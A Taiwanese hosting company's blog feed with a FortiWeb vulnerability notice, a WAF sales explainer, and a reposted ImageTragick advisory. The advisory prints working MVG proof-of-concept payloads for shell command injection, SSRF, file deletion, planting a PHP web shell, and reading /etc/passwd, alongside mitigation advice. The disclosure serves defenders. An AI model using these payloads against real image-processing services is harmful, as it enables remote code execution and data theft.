security | 捕夢網 Blog

資安專家發現Fortinet的FortiWeb WAF存在多個嚴重漏洞

pumoadmin55 — Fri, 08 Jan 2021 06:52:21 +0000

資安專家發現Fortinet的FortiWeb WAF存在多個嚴重漏洞，而這些漏洞會導致公司網路遭到駭客攻擊。

Fortinet已發布CVE-2020-29015，CVE-2020-29016， CVE-2020-29018和CVE-2020-29019的更新，請盡快更新。

漏洞包含了blind SQL injection、buffer overflow緩衝區溢位、format string vulnerability格式化字串漏洞等。都可能導致駭客可以執行未經授權的代碼或發動DDoS攻擊等。

請更新至以下版本
6.2.4 or above to address the CVE-2020-29015 flaw
6.3.6 or above to address the CVE-2020-29016 and CVE-2020-29018
6.3.8 or above to address the CVE-2020-29019

原文來源:

https://securityaffairs.co/wordpress/113129/hacking/fortinet-fortiweb-waf-flaws.html?fbclid=IwAR3k3Jm_PslTYqVoGbu09psGvSjr5szGuyX8wLR6Ohn-bFN3_AAYgffLdNg

The post 資安專家發現Fortinet的FortiWeb WAF存在多個嚴重漏洞 first appeared on 捕夢網 Blog.

WAF是什麼？WAF能幹嘛？我網站需要WAF 嗎？

pumoadmin55 — Fri, 08 Jan 2021 06:12:17 +0000

WAF是什麼？

現在你我的網站有著各樣的應用程式，例如常用會員登入、購物車、訂單系統、線上客服等都是。你確認這些程式都安全無虞沒有漏洞嗎？寫程式的是否為了方便，密碼用明碼儲存？訂單沒有加密傳輸，買什麼東西都被看光光？這些沒注意到的小細節，是駭客眼中的大漏洞。可以利用各式各樣的方式鑽進網站，看用戶密碼偷用戶刷卡資料等。輕則以後駭客就用這些來消費，你的網站用戶就是他的提款機。重則資料拿走，賣給詐騙集團賺錢。

WAF是Web Application Firewall(網站應用程式防火牆)縮寫而來。主要用於保護以上提到的應用程式們。方法是監控要連進網站的HTTP傳輸流量，比對病毒、惡意程式資料庫或惡意攻擊手法等，過濾出可疑流量然後把惡意流量拒絕在外，避免用這些漏洞攻擊網站。

網站都希望流量要大，訪客要多。只是訪客一多，難免有閒雜人等想要趁機混入。今天把網站比喻成一棟大樓，WAF就等於大門警衛的概念，針對每一個進入大樓的訪客進行檢查驗證，只允許好的正常的訪客進入，可疑危險的訪客就拒絕他們進入。

前往了解WAF https://www.pumo.com.tw/security/waf.jsp

WAF能幹嘛？

根據上面所說的，WAF就是用來過濾可疑連線，保護網站的。

根據資安組織OWASP Top 10公布的2020年10大漏洞

Injection 注入攻擊:
Broken Authentication 無效身分驗證
Sensitive Data Exposure 敏感資料外洩
XML External Entities (XXE) XML 外部處理器漏洞
Broken Access control 無效的存取控管
Security misconfigurations 不安全的組態設定
Cross Site Scripting (XSS) 跨站攻擊
Insecure Deserialization 不安全的反序列化漏洞
Using Components with known vulnerabilities 使用已有漏洞的元件
Insufficient logging and monitoring 紀錄與監控不足

我們由此可知攻擊手法千奇百怪，沒有幫網站做過弱點掃描的話，你怎麼知道你的網站程式藏著哪一些漏洞？ WAF就是用來過濾這些針對網站的惡意攻擊的。

如何活用WAF 防禦入侵

為你的網站擋下各式各樣的入侵方式來這裡，不只可以了解 SQL injection 和XSS 跨站攻擊等駭客手法如何攻擊你的網站，還可以了解WAF如何抵禦這些入侵攻擊。最重要的是，明白WAF保障電子商務的安全性，捍衛企業多少無形資產

詳細了解WAF如何抵禦入侵? https://www.pumo.com.tw/security/wafApplication.jsp

IIS 伺服器安全

WAF可以抵禦IIS伺服器以下漏洞

路徑探索(Path Traversal) / 已知蠕蟲 / 遠端命令執行 / 探針(Probes)DDoS攻擊 / 伺服器入侵

透過執行SaaS(Security-as-a-Service)解決方案，無論網站管理員功力厲害與否，WAF能為網站伺服器提供保護，為網站程式避免掉許多威脅。透過檢測分析網站流量內容，確認是否符合或違反通訊協議、port或IP，避免網站程式被攻擊。WAF能提供優化後的防禦服務，防禦DDoS攻擊、XSS跨站攻擊、SQL Injection、path traversal以及其他網站攻擊技術。

雲端安全

雖然藉由雲端運算跑資料執行程式有一定程度的安全疑慮，然而Google、IBM、Amazon及IT大廠強力推動健康照護以及電子商務等雲端服務，意味著這些安全疑慮是未來雲端發展不得不克服的問題。部屬WAF便是保護網站程式及資料的一種方式，雲端服務商不需額外增添硬體設備，可以安裝在網站程式前面提供保護。

WAF可以抵禦雲端以下漏洞

當部屬完成，WAF即可為網站程式抵禦以下已知的威脅：路徑探索(Path Traversal) / 已知蠕蟲 / 遠端命令執行 / 探針(Probes) / DDoS攻擊 / 伺服器入侵
WAF也能深入執行傳統的安全檢測，例如深度檢測網站服務的流量分析，而這種威脅卻是入侵檢測系統和入侵預防系統常常疏忽掉的。

防禦XSS跨站攻擊

比較常見XSS攻擊的例子，如討論區、留言版或任何能輸入資料的地方，允許使用者輸入HTML、JavaScript，並且正常解析執行。當其他使用者瀏覽這篇留言時，便會執行惡意程式。

為何需要WAF來抵禦XSS跨站攻擊？

簡單就能安裝在Apache和IIS伺服器上
針對已知或新興的駭客手法進行防禦
針對即時防禦，預設最佳化的安全規範
提供介面及API，便於管理多台伺服器
無需額外的硬體設備，隨業務規模彈性擴充

電子商務安全

電商利益驚人，卻已成駭客眼中肥羊，保障電商安全是當務之急。信用卡盜用及欺詐。信用卡資料安全性對於電子商務來說格外的重要。著名的TJX事件，便是公司沒有採取安全措施的最佳例子，導致9400萬個帳戶遭到入侵，TJX公司被300家以上的銀行聯合訴訟，賠償金額超過70億美金。駭客落網後，發現他透過SQL Injection技術，在各個網站竊取了超過130萬張信用卡資料。

WAF可以抵禦電子商務以下漏洞

常見竊取金融資料的駭客手法:
SQL Injection / XSS跨站攻擊 / Path Traversal
Session Hijacking(會話劫持) / 惡意軟體(Drive-by downloads)

駭客攻擊

不安全的網站越來越多，駭客虎視眈眈您網路上的一切資料 WAF可以抵禦駭客攻擊以下漏洞

一旦決定攻擊目標，便可利用以下方式展開攻擊:XSS跨站攻擊 / SQL Injection / 遠端命令執行 DDoS攻擊 / Path Traversal / 其他一旦找到漏洞，駭客便直接展開攻擊。更可以利用僵屍電腦擴大攻擊範圍，達到最大效果。

信用卡安全

如果網站的信用卡資料常常遭竊的話，除了營業損失之外，還得時常面對法律訴訟以及其他罰款。消費者一旦認定說，在這個網站消費不安全，不願在此消費時，會明顯影響公司的收入。品牌聲譽受損，比任何罰款都來得嚴重。

透過WAF，我們可以即時檢測網站的流量內容，尋找那些已知或未知的惡意封包。這可是原始碼檢測所做不到的。

Apache伺服器安全工具

如果認為Apache伺服器比微軟IIS伺服器安全許多的話，那可真是大錯特錯。跟其他軟體一樣，Apache也是充滿漏洞容易受到攻擊。別把安全視為理所當然，正確設定Apache伺服器

Apache伺服器的安全性一直都在網路管理員的優先名單之內。但你沒有用同樣嚴謹的態度對待這些網站程式的話，還是很容易壟罩在駭客攻擊的陰影中。常見針對網站程式的攻擊手法有:
XSS跨站攻擊 / 路徑探索(Path Traversal) / SQL Injection
會話劫持(Session Hijacking) / Link Injection / 惡意軟體 / DDoS攻擊

PCI DSS標準規範

為合乎規範安裝WAF的必要性

WAF提供一個直接且節省成本的安全解決方案。不僅合乎PCI標準規範，也針對SQL injection、XSS跨站攻擊和衝著網站程式來的攻擊，提供即時性的防禦。WAF強調預防入侵，而非偵測漏洞。針對網站流量進行深入的封包檢測，在網站程式前架設一道安全防禦。

優點如下：

合乎PCI標準規範
不需付出額外的研發成本
適用於由第三方開發的程式或元件

防護流程示意圖

下方這張圖片可用來說明，每個連線來源與目的都不相同，有登入會員的，有查訂單的。為了不讓所有連線用戶沒有差別的大搖大擺地進入網站，WAF會在進入網站之前，築起一道防護關卡。透過現有的資安威脅資料庫進行流量分析比對，判斷每個連線是否安全，准許安全流量進入網站。那些可疑的、有害的、不信任的流量就排除在外，避免惡意流量入侵網站影響安全性，確保網站的正常營運。

我網站需要WAF嗎？

講完「WAF是什麼？」「WAF能幹嘛？」，一定會有人說「我把程式寫得安全一點才是治本的方法。」把程式寫得很安全，這種思維絕對沒錯。值得鼓勵。

但是怎樣才算是安全沒有漏洞？現在寫得很安全，也許幾個月後駭客有新的攻擊手法！現在寫得很安全，換一個寫程式的，在他眼中網站漏洞百出，你要考慮網站整個重寫嗎？

當然你要重寫程式甚至重寫網站，都是自己的選擇。但是聰明的你要想一想這樣做是否符合成本效益？還是自找麻煩？

WAF扮演重要的網站安全角色。以捕夢網累積服務過很多用戶的經驗，我們明白網站時常經歷歷代不同工程師的改造(？)，每個人的程式邏輯都不一樣。如果沒有統一管理或是依循不同邏輯繼續擴增網站服務，在新舊並存、語法各自為政的狀態下，網站在駭客眼中等同漏洞百出，可是企業往往不自知，讓他們駭客有機可趁。所以「網站需要WAF嗎？」，你認為呢？

WAF對網站的價值在哪？

如果你還是不明白WAF的價值在哪？你可以先想一想你網站價值在哪？

疫情只是催化劑而已，企業將產品及服務轉移到網路上早已是趨勢。在家就可以逛街買東西，手機滑一下就可以轉帳，平板開APP就可以看電影。網站取代了很多實體服務。這時候若網站被駭客攻擊、遭受勒索病毒、客戶資料外洩，導致面臨網站關閉。影響企業銷售、品牌名聲甚至經營存續。跟WAF比起來，網站的價值是否遠大於WAF？是否需要WAF，可以先從網站對您企業所具有的重要性與價值來判斷。

可是裝了WAF不表示就此高枕無憂，網站不需要做其他資安防護。駭客還是有許多其他方式鬧到你的網站生不如死的。

想更多了解WAF，可以參考我們捕夢網的官網https://www.pumo.com.tw/security/waf.jsp

或是打電話或是來信給捕夢網，我們可以針對網站資安好好來聊一聊。
電話:02-8226-9123
信箱:service@pumo.com.tw

#WAF #WEB APPLICATION FIREWALL #網站應用程式防火牆

#SECURITY #WEB SECURITY #弱點掃描

#OWASP #OWASP TOP 10 #網站安全

#網站應用程式安全 #網站安全 #網站漏洞

The post WAF是什麼？WAF能幹嘛？我網站需要WAF 嗎？ first appeared on 捕夢網 Blog.

ImageMagick Is On Fire — CVE-2016–3714 TL;DR

pumoadmin55 — Thu, 12 May 2016 08:40:22 +0000

知名的ImageMagick程式庫，被查出資安疑慮的安全漏洞

不少程式語法如PHP、Ruby、nodejs的圖片處理插件都是利用ImageMagick所架構的。如果你有使用ImageMagick或者相關圖片插件，建議你盡速修補漏洞。

There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.

A number of image processing plugins depend on the ImageMagick library, including, but not limited to, PHP’s imagick, Ruby’s rmagick and paperclip, and nodejs’s imagemagick.

If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one of these two things (but preferably both!):

Verify that all image files begin with the expected "magic bytes" corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info)
Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in “/etc/ImageMagick”. The below policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL.

policy.xml (updated 5/5)

What's with the stupid (logo|website|twitter account)?

It would have been fantastic to eschew this ridiculousness, because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand.

Initially, we disclosed this vulnerability via a blog post on Medium. We even joked in the post that the vulnerability didn't have a cool name or logo. The blog was read hundreds of times, but as the hours passed, we became worried that not enough people were aware of the vulnerability. Every script kiddie would have it in their hands soon, but a majority of people had no idea this vulnerability existed.

So we created a website, a twitter account, and used a logo that someone created as a joke the day before.

What happened?

We had thousands of hits in the first 15 minutes. We were at the top of hacker news, which a lot of people see. We were getting the word out on something tragickally simple to exploit. We'd do it again.

Detailed Vulnerability Information

Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 changelog), but this fix seems to be incomplete. We are still working with developers.

ImageMagick: Multiple vulnerabilities in image decoder

1. CVE-2016-3714 – Insufficient shell characters filtering leads to(potentially remote) code execution

Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats.

ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests:

"wget" -q -O "%o" "https:%M"

where %M is the actual link from the input. It is possible to pass the value like

`https://example.com";|ls "-la`

and execute unexpected 'ls -la'. (wget or curl should be installed)

$ convert 'https://example.com";|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to Stewie for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others – which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue.

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

exploit.svg

Example execution

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool identify is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via less exploit.jpg', because identify is invoked via lesspipe.sh).

Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.

All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg.

2. CVE-2016-3718 – SSRF

It is possible to make HTTP GET or FTP request:

ssrf.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

the following then makes an http request to example.com

$ convert ssrf.mvg out.png

3. CVE-2016-3715 – File deletion

It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading:

delete_file.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

4. CVE-2016-3716 – File moving

It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location – /tmp/ for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick):

file_move.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt

/tmp/image.gif – image with php shell inside (https://www.secgeek.net/POC/POC.gif for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

5. CVE-2016-3717 – Local file read (independently reported by original research author – Stewie)

It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol:

file_read.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png

produces file with text rendered from /etc/passwd

Vulnerability Disclosure Timeline:

April, 21 2016 – file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 – file read vulnerability patched by My.Com development team
April, 28 2016 – code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report
April, 30 2016 – code execution vulnerability reported to ImageMagick development team
April, 30 2016 – code execution vulnerability fixed by ImageMagick (incomplete fix)
April, 30 2016 – fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 – ImageMagic informed of the fix bypass
May, 2 2016 – limited disclosure to 'distros' mailing list
May, 3 2016 – public disclosure at https://imagetragick.com/

FAQs

Who found this bug?

Stewie found the initial bug, and Nikolay Ermishkin from the Mail.Ru Security Team found additional issues, including the RCE.

Will you share the exploit with me?

No. We would like to give people a chance to patch before it is more widely available. The exploit is trivial, so we expect it to be available within hours of this post. Updates and PoC will eventually be available here.

What are "magic bytes"?

The first few bytes of a file can often used to identify the type of file. Some examples are GIF images, which start with the hex bytes "47 49 46 38", and JPEG images, which start with "FF D8". This liston Wikipedia has the magic bytes for most common file types.

Why are you disclosing a vulnerability like this?

We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software. ImageMagick also disclosed this on their forum a few hours ago.

How well-tested are these mitigations?

They are effective against all of the exploit samples we’ve seen, but we cannot guarantee they will eliminate all vectors of attack.

Are there other ways to mitigate?

Sandboxing ImageMagick is worth investigating, but we are not providing specific instructions for doing this.

Why is this post so short?

We did not find this vulnerability ourselves. We understand the mechanisms involved, but credit for finding this vulnerability should go to the researcher(s).

How can I contact you?

imagetragick@gmail.com

Who is "we"?

Us.

文章來源:https://imagetragick.com/

圖片來源:https://pixabay.com/

The post ImageMagick Is On Fire — CVE-2016–3714 TL;DR first appeared on 捕夢網 Blog.